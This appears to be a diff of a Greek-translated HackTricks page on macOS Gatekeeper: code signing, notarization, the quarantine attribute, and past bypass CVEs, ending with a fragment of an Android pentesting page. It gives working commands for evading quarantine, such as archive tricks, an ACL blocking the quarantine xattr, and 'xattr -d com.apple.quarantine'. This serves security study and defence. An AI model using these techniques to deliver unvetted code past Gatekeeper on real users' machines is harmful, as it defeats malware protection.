Οι υπογραφές εφαρμογών είναι ένα ουσιαστικό μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
|
||||
Οι υπογραφές εφαρμογών είναι ένα ουσιαστικό μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με ένα πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
|
||||
|
||||
Από το macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει νοταριστεί** από την Apple, προσθέτοντας μια επιπλέον στρώση ασφάλειας. Η διαδικασία νοταρίσματος ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
|
||||
Από το macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει νοταριστεί** από την Apple, προσθέτοντας μια επιπλέον στρώση ασφαλείας. Η διαδικασία νοταρίσματος ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
|
||||
|
||||
#### Έλεγχος Υπογραφών
|
||||
|
||||
@ -45,7 +45,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει την **υποβολή της εφαρμογής από τον προγραμματιστή για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Εξέταση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν πιθανών προβλημάτων με την υπογραφή κώδικα.
|
||||
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει την **υποβολή της εφαρμογής από τον προγραμματιστή για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Ανασκόπηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν πιθανών προβλημάτων με την υπογραφή κώδικα.
|
||||
|
||||
Εάν το λογισμικό **περάσει** αυτή την επιθεώρηση χωρίς να εγείρει ανησυχίες, η Υπηρεσία Notary δημιουργεί ένα εισιτήριο notarization. Ο προγραμματιστής είναι υποχρεωμένος να **συνδέσει αυτό το εισιτήριο με το λογισμικό του**, μια διαδικασία που ονομάζεται 'stapling.' Επιπλέον, το εισιτήριο notarization δημοσιεύεται επίσης online όπου ο Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να έχει πρόσβαση σε αυτό.
|
||||
|
||||
@ -56,19 +56,19 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι από την έκδοση Sequoia, **`spctl`** δεν επιτρέπει πλέον την τροποποίηση της διαμόρφωσης του Gatekeeper.
|
||||
|
||||
**`spctl`** είναι το εργαλείο CLI για την καταμέτρηση και την αλληλεπίδραση με τον Gatekeeper (με τον daemon `syspolicyd` μέσω μηνυμάτων XPC). Για παράδειγμα, είναι δυνατή η προβολή της **κατάστασης** του GateKeeper με:
|
||||
**`spctl`** είναι το εργαλείο CLI για την καταμέτρηση και αλληλεπίδραση με τον Gatekeeper (με τον δαίμονα `syspolicyd` μέσω μηνυμάτων XPC). Για παράδειγμα, είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι οι έλεγχοι υπογραφής του GateKeeper εκτελούνται μόνο για **αρχεία με το χαρακτηριστικό Quarantine**, όχι για κάθε αρχείο.
|
||||
> Σημειώστε ότι οι έλεγχοι υπογραφής του GateKeeper εκτελούνται μόνο για **αρχεία με το χαρακτηριστικό Καραντίνα**, όχι για κάθε αρχείο.
|
||||
|
||||
Ο GateKeeper θα ελέγξει αν σύμφωνα με τις **προτιμήσεις & την υπογραφή** μπορεί να εκτελεστεί ένα δυαδικό αρχείο:
|
||||
|
||||
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`syspolicyd`** είναι ο κύριος δαίμονας που είναι υπεύθυνος για την επιβολή του Gatekeeper. Διατηρεί μια βάση δεδομένων που βρίσκεται στο `/var/db/SystemPolicy` και είναι δυνατή η εύρεση του κώδικα για την υποστήριξη της [βάσης δεδομένων εδώ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) και του [SQL template εδώ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Σημειώστε ότι η βάση δεδομένων δεν περιορίζεται από το SIP και είναι εγγράψιμη από τον root και η βάση δεδομένων `/var/db/.SystemPolicy-default` χρησιμοποιείται ως αρχικό αντίγραφο ασφαλείας σε περίπτωση που η άλλη καταστραφεί.
|
||||
**`syspolicyd`** είναι ο κύριος δαίμονας που είναι υπεύθυνος για την επιβολή του Gatekeeper. Διατηρεί μια βάση δεδομένων που βρίσκεται στο `/var/db/SystemPolicy` και είναι δυνατή η εύρεση του κώδικα που υποστηρίζει την [βάση δεδομένων εδώ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) και του [SQL template εδώ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Σημειώστε ότι η βάση δεδομένων δεν περιορίζεται από το SIP και είναι εγ writable από τον root και η βάση δεδομένων `/var/db/.SystemPolicy-default` χρησιμοποιείται ως αρχικό αντίγραφο ασφαλείας σε περίπτωση που η άλλη καταστραφεί.
|
||||
|
||||
Επιπλέον, τα πακέτα **`/var/db/gke.bundle`** και **`/var/db/gkopaque.bundle`** περιέχουν αρχεία με κανόνες που εισάγονται στη βάση δεδομένων. Μπορείτε να ελέγξετε αυτή τη βάση δεδομένων ως root με:
|
||||
```bash
|
||||
@ -84,7 +84,7 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
**`syspolicyd`** εκθέτει επίσης έναν XPC διακομιστή με διάφορες λειτουργίες όπως `assess`, `update`, `record` και `cancel` που είναι επίσης προσβάσιμες χρησιμοποιώντας τις APIs **`SecAssessment*`** του **`Security.framework`** και το **`spctl`** στην πραγματικότητα επικοινωνεί με το **`syspolicyd`** μέσω XPC.
|
||||
**`syspolicyd`** εκθέτει επίσης έναν XPC διακομιστή με διάφορες λειτουργίες όπως `assess`, `update`, `record` και `cancel` που είναι επίσης προσβάσιμες χρησιμοποιώντας τα APIs **`SecAssessment*`** του **`Security.framework`** και το **`spctl`** στην πραγματικότητα επικοινωνεί με το **`syspolicyd`** μέσω XPC.
|
||||
|
||||
Σημειώστε πώς ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένο να εκτελεί εφαρμογές από το App Store και αναγνωρισμένους προγραμματιστές**.\
|
||||
Αν **τροποποιήσετε** αυτή τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
|
||||
@ -183,7 +183,7 @@ spctl --assess -v /Applications/App.app
|
||||
|
||||
Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process.
|
||||
|
||||
**Η παρουσία της σημαίας καραντίνας σηματοδοτεί τη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
|
||||
**Η παρουσία της σημαίας καραντίνας σήμαίνει τη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
|
||||
|
||||
In the case where the **quarantine flag is not present** (as with files downloaded via some BitTorrent clients), Gatekeeper's **checks may not be performed**. Thus, users should exercise caution when opening files downloaded from less secure or unknown sources.
|
||||
|
||||
@ -207,7 +207,7 @@ spctl --enable
|
||||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκτάσιμη ιδιότητα καραντίνας** με:
|
||||
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκταμένη ιδιότητα καραντίνας** με:
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
@ -229,7 +229,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
Στην πραγματικότητα, μια διαδικασία "θα μπορούσε να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (έχω ήδη προσπαθήσει να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν θα την εφαρμόσει):
|
||||
Πράγματι, μια διαδικασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (έχω ήδη προσπαθήσει να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν θα την εφαρμόσει):
|
||||
|
||||
<details>
|
||||
|
||||
@ -295,7 +295,7 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
Και **αφαιρέστε** αυτό το χαρακτηριστικό με:
|
||||
Και **αφαιρέστε** αυτή την ιδιότητα με:
|
||||
```bash
|
||||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
@ -329,7 +329,7 @@ Quarantine information is also stored in a central database managed by LaunchSer
|
||||
Το macOS 13 Ventura εισήγαγε έναν ξεχωριστό μηχανισμό προέλευσης που συμπληρώνεται την πρώτη φορά που επιτρέπεται σε μια εφαρμογή σε καραντίνα να εκτελείται. Δημιουργούνται δύο αντικείμενα:
|
||||
|
||||
- Το `com.apple.provenance` xattr στον φάκελο `.app` (σταθερού μεγέθους δυαδική τιμή που περιέχει ένα κύριο κλειδί και σημαίες).
|
||||
- Μια γραμμή στον πίνακα `provenance_tracking` μέσα στη βάση δεδομένων ExecPolicy στο `/var/db/SystemPolicyConfiguration/ExecPolicy/` που αποθηκεύει το cdhash και τα μεταδεδομένα της εφαρμογής.
|
||||
- Μια γραμμή στον πίνακα `provenance_tracking` μέσα στη βάση δεδομένων ExecPolicy στο `/var/db/SystemPolicyConfiguration/ExecPolicy/` που αποθηκεύει το cdhash της εφαρμογής και μεταδεδομένα.
|
||||
|
||||
Practical usage:
|
||||
```bash
|
||||
@ -372,13 +372,13 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
|
||||
### Όχι Gatekeeper
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο το _**AppleMobileFileIntegrity**_ (AMFI) θα **επαληθεύσει τις υπογραφές εκτελέσιμου κώδικα** όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επαληθευτεί από τον Gatekeeper.
|
||||
> Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο _**AppleMobileFileIntegrity**_ (AMFI) θα **επαληθεύσει τις υπογραφές εκτελέσιμου κώδικα** όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επαληθευτεί από τον Gatekeeper.
|
||||
|
||||
Επομένως, προηγουμένως ήταν δυνατό να εκτελέσετε μια εφαρμογή για να την αποθηκεύσετε στη μνήμη cache με τον Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή θα **εκτελούνταν** με τις **κακόβουλες** προσθήκες.
|
||||
|
||||
Ωστόσο, τώρα αυτό δεν είναι δυνατό γιατί το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα σε bundles εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατό να την εκμεταλλευτείτε γιατί μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με τον Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε για παράδειγμα το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό της εφαρμογής για να το αποθηκεύσετε στη μνήμη cache με τον Gatekeeper, θα προκαλέσει σφάλμα και δεν θα εκτελεστεί.
|
||||
Ωστόσο, τώρα αυτό δεν είναι δυνατό γιατί το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα σε bundles εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατό να την εκμεταλλευτείτε γιατί μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με τον Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε για παράδειγμα το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό της εφαρμογής για να το αποθηκεύσετε στη μνήμη cache με τον Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
|
||||
|
||||
## Παράκαμψη Gatekeeper
|
||||
## Παράκαμψη του Gatekeeper
|
||||
|
||||
Οποιοσδήποτε τρόπος για να παρακάμψετε τον Gatekeeper (να καταφέρετε να κάνετε τον χρήστη να κατεβάσει κάτι και να το εκτελέσει όταν ο Gatekeeper θα έπρεπε να το αποτρέψει) θεωρείται ευπάθεια στο macOS. Αυτές είναι μερικές CVEs που έχουν ανατεθεί σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
|
||||
|
||||
@ -390,7 +390,7 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Όταν μια εφαρμογή δημιουργείται με το **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
|
||||
Όταν μια εφαρμογή δημιουργείται με **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
|
||||
|
||||
Επομένως, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με έναν συμβολικό σύνδεσμο σε άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελέσει ό,τι είναι μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιήσει τον Gatekeeper** γιατί το πραγματικό εκτελέσιμο δεν έχει το χαρακτηριστικό καραντίνας xattr.
|
||||
|
||||
@ -404,11 +404,11 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
Ελέγξτε την [**πρωτότυπη αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
||||
Έλεγχος της [**αρχικής αναφοράς**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Ακόμα και αν τα συστατικά είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτή την περίπτωση θα δημιουργήσουμε ένα Apple Archive από **`application.app/Contents`** έτσι ώστε το **`application.app` να μην αποκτήσει την ιδιότητα καραντίνας** όταν αποσυμπιεστεί από το **Archive Utility**.
|
||||
Ακόμα και αν τα συστατικά είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτή την περίπτωση θα δημιουργήσουμε ένα Apple Archive από **`application.app/Contents`** έτσι ώστε **`application.app` να μην αποκτήσει την ιδιότητα καραντίνας** όταν αποσυμπιεστεί από το **Archive Utility**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
@ -425,14 +425,14 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
|
||||
|
||||
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
python3 -m http.server
|
||||
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
||||
```
|
||||
Δείτε την [**πρωτότυπη αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
|
||||
Ελέγξτε την [**πρωτότυπη αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
|
||||
|
||||
Σημειώστε ότι αυτό θα μπορούσε επίσης να εκμεταλλευτεί με AppleArchives:
|
||||
```bash
|
||||
@ -476,15 +476,15 @@ aa archive -d s/ -o app.aar
|
||||
```
|
||||
### [CVE-2023-41067]
|
||||
|
||||
Μια παράκαμψη του Gatekeeper που διορθώθηκε στο macOS Sonoma 14.0 επέτρεψε σε κακόβουλες εφαρμογές να εκτελούνται χωρίς προειδοποίηση. Οι λεπτομέρειες αποκαλύφθηκαν δημόσια μετά την επιδιόρθωση και το ζήτημα εκμεταλλεύτηκε ενεργά στον έξω κόσμο πριν από τη διόρθωση. Βεβαιωθείτε ότι είναι εγκατεστημένο το Sonoma 14.0 ή νεότερη έκδοση.
|
||||
Μια παράκαμψη του Gatekeeper που διορθώθηκε στο macOS Sonoma 14.0 επέτρεψε σε κακόβουλες εφαρμογές να εκτελούνται χωρίς προειδοποίηση. Λεπτομέρειες αποκαλύφθηκαν δημόσια μετά την επιδιόρθωση και το ζήτημα εκμεταλλεύτηκε ενεργά στον έξω κόσμο πριν από τη διόρθωση. Βεβαιωθείτε ότι είναι εγκατεστημένο το Sonoma 14.0 ή νεότερη έκδοση.
|
||||
|
||||
### [CVE-2024-27853]
|
||||
|
||||
Μια παράκαμψη του Gatekeeper στο macOS 14.4 (που κυκλοφόρησε τον Μάρτιο του 2024) που προήλθε από την επεξεργασία κακόβουλων ZIP από το `libarchive` επέτρεψε στις εφαρμογές να αποφύγουν την αξιολόγηση. Ενημερώστε σε 14.4 ή νεότερη έκδοση όπου η Apple διόρθωσε το ζήτημα.
|
||||
|
||||
### Εξωτερικοί αποσυμπιεστές που διαδίδουν λανθασμένα την καραντίνα (2023–2024)
|
||||
### Τρίτοι αποσυμπιεστές που διαδίδουν λανθασμένα την καραντίνα (2023–2024)
|
||||
|
||||
Πολλές ευπάθειες σε δημοφιλή εργαλεία εξαγωγής (π.χ., The Unarchiver) προκάλεσαν τα αρχεία που εξάγονται από αρχεία να μην έχουν το xattr `com.apple.quarantine`, επιτρέποντας ευκαιρίες παράκαμψης του Gatekeeper. Πάντα να βασίζεστε στο macOS Archive Utility ή σε διορθωμένα εργαλεία κατά τη διάρκεια των δοκιμών και να επικυρώνετε τα xattrs μετά την εξαγωγή.
|
||||
Πολλές ευπάθειες σε δημοφιλή εργαλεία εξαγωγής (π.χ., The Unarchiver) προκάλεσαν τα αρχεία που εξάγονται από αρχεία να μην περιέχουν το xattr `com.apple.quarantine`, επιτρέποντας ευκαιρίες παράκαμψης του Gatekeeper. Πάντα να βασίζεστε στο macOS Archive Utility ή σε διορθωμένα εργαλεία κατά τη διάρκεια των δοκιμών και να επικυρώνετε τα xattrs μετά την εξαγωγή.
|
||||
|
||||
### uchg (από αυτή την [ομιλία](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
@ -497,12 +497,11 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### Αποτροπή xattr καραντίνας
|
||||
|
||||
Σε ένα ".app" πακέτο, αν το xattr καραντίνας δεν προστεθεί σε αυτό, κατά την εκτέλεση του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
|
||||
Σε ένα ".app" bundle, αν το xattr καραντίνας δεν προστεθεί σε αυτό, κατά την εκτέλεση του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
|
||||
|
||||
## References
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- Apple Platform Security: Σχετικά με το περιεχόμενο ασφαλείας του macOS Sonoma 14.4 (περιλαμβάνει το CVE-2024-27853) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084)
|
||||
- Eclectic Light: Πώς το macOS παρακολουθεί τώρα την προέλευση των εφαρμογών – [https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/](https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/)
|
||||
- Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084)
|
||||
- Eclectic Light: How macOS now tracks the provenance of apps – [https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/](https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -15,12 +15,12 @@ android-applications-basics.md
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
|
||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
|
||||
|
||||
Ρίξτε μια ματιά στη παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
||||
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -69,18 +69,18 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
**Firebase**
|
||||
|
||||
Δώστε ιδιαίτερη προσοχή σε **firebase URLs** και ελέγξτε αν είναι κακώς ρυθμισμένα. [Περισσότερες πληροφορίες σχετικά με το τι είναι το Firebase και πώς να το εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Δώστε ιδιαίτερη προσοχή στις **firebase URLs** και ελέγξτε αν είναι κακώς ρυθμισμένες. [Περισσότερες πληροφορίες σχετικά με το τι είναι το Firebase και πώς να το εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
|
||||
|
||||
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης του αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
|
||||
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
|
||||
|
||||
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
|
||||
|
||||
